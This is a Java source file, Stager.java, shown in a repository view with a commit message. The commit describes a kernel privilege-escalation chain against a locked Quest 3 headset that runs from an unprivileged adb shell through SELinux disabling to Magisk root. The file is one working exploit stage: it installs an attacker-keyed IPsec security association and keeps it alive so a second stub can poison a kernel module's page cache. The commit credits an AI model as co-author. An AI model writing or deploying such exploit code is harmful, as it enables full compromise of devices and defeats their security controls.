Files
fuguquest/java/Stager.java
T
henryandClaude Opus 4.8 e6f63ba514 DirtyFrag-LPE: unprivileged Quest 3 shell -> kernel exec -> Magisk root
Single JSON-driven toolkit. From an unprivileged (uid 2000) adb shell on a
locked retail Quest 3:
  - Dirty-Frag page-cache poison stages an attacker-keyed AES-GCM ESP SA and
    injects an init_array ctor into hal_tracking (via libeva) that poisons a
    diff-patched vendor .ko (llcc_perfmon) to flip selinux_state.enforcing=0;
  - ctl.start insmod_sh finit-loads it -> SELinux Permissive (zero root);
  - --postex: a second diff-patched carrier (usbip-vudc) cred-patches a waiting
    shell to uid 0 (+ syncs the SELinux status page via
    selinux_status_update_setenforce) and runs Singularity Magisk (v30.7 fork,
    no zygote restart) -> headless `su` under SELinux Enforcing, ~40s.

Both carriers are DIFF-PATCHED existing modules (no per-kernel compilation);
adding a firmware = `port.py --zip ... --device ...` -> targets/<name>.json.
Proven on builds 52345320027600520 and 52433670032200520.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-09-20 16:23:19 +02:00

57 lines
3.1 KiB
Java

package q3;
import android.os.Binder;
import java.lang.reflect.*;
/**
* Dirty-Frag SA stager (uid 2000, zero perms). Installs an attacker-keyed AES-GCM ESP SA
* (spi 0xDEADBE10, transport, UDP-encap) via IpSecService and STAYS ALIVE so the libeva-ctor
* stub running in hal_tracking can replay ESP packets into it to poison the carrier .ko.
* Prints "ENCAPPORT=<port>" then sleeps. Must run in a persistent shell (nohup dies -> SA reaped).
*/
public class Stager {
static Object svc;
static Class<?> C(String n) throws Exception { return Class.forName(n); }
static Object call(String n, Class<?>[] s, Object... a) throws Exception {
try { return C("android.net.IIpSecService").getMethod(n, s).invoke(svc, a); }
catch (InvocationTargetException e) { throw new RuntimeException(n + " -> " + e.getCause()); }
}
static int fi(Object o, String f) throws Exception {
Field x = o.getClass().getDeclaredField(f); x.setAccessible(true); return x.getInt(o);
}
public static void main(String[] a) throws Exception {
byte[] KEYMAT = new byte[20];
for (int i = 0; i < 20; i++) KEYMAT[i] = (byte) (0x41 + i);
int SPI = 0xDEADBE10;
int seconds = a.length > 0 ? Integer.parseInt(a[0]) : 600;
Object b = C("android.os.ServiceManager").getMethod("getService", String.class).invoke(null, "ipsec");
svc = C("android.net.IIpSecService$Stub").getMethod("asInterface", C("android.os.IBinder")).invoke(null, b);
Class<?> IB = C("android.os.IBinder");
Object tok = new Binder();
Object enc = call("openUdpEncapsulationSocket", new Class<?>[]{int.class, IB}, 0, tok);
int encRid = fi(enc, "resourceId"), port = fi(enc, "port");
Object spiR = call("allocateSecurityParameterIndex", new Class<?>[]{String.class, int.class, IB},
"127.0.0.1", SPI, tok);
int spiRid = fi(spiR, "resourceId"), spi = fi(spiR, "spi");
Object alg = C("android.net.IpSecAlgorithm").getConstructor(String.class, byte[].class, int.class)
.newInstance("rfc4106(gcm(aes))", KEYMAT, 128);
Class<?> cfgC = C("android.net.IpSecConfig");
Object cfg = cfgC.getDeclaredConstructor().newInstance();
cfgC.getMethod("setMode", int.class).invoke(cfg, 0);
cfgC.getMethod("setSourceAddress", String.class).invoke(cfg, "127.0.0.1");
cfgC.getMethod("setDestinationAddress", String.class).invoke(cfg, "127.0.0.1");
cfgC.getMethod("setSpiResourceId", int.class).invoke(cfg, spiRid);
cfgC.getMethod("setEncapType", int.class).invoke(cfg, 2);
cfgC.getMethod("setEncapSocketResourceId", int.class).invoke(cfg, encRid);
cfgC.getMethod("setEncapRemotePort", int.class).invoke(cfg, port);
cfgC.getMethod("setAuthenticatedEncryption", C("android.net.IpSecAlgorithm")).invoke(cfg, alg);
Object tr = call("createTransform", new Class<?>[]{cfgC, IB, String.class}, cfg, tok, "com.android.shell");
System.out.println("SA status=" + fi(tr, "status") + " spi=0x" + Integer.toHexString(spi));
System.out.println("ENCAPPORT=" + port);
System.out.flush();
Thread.sleep(seconds * 1000L);
}
}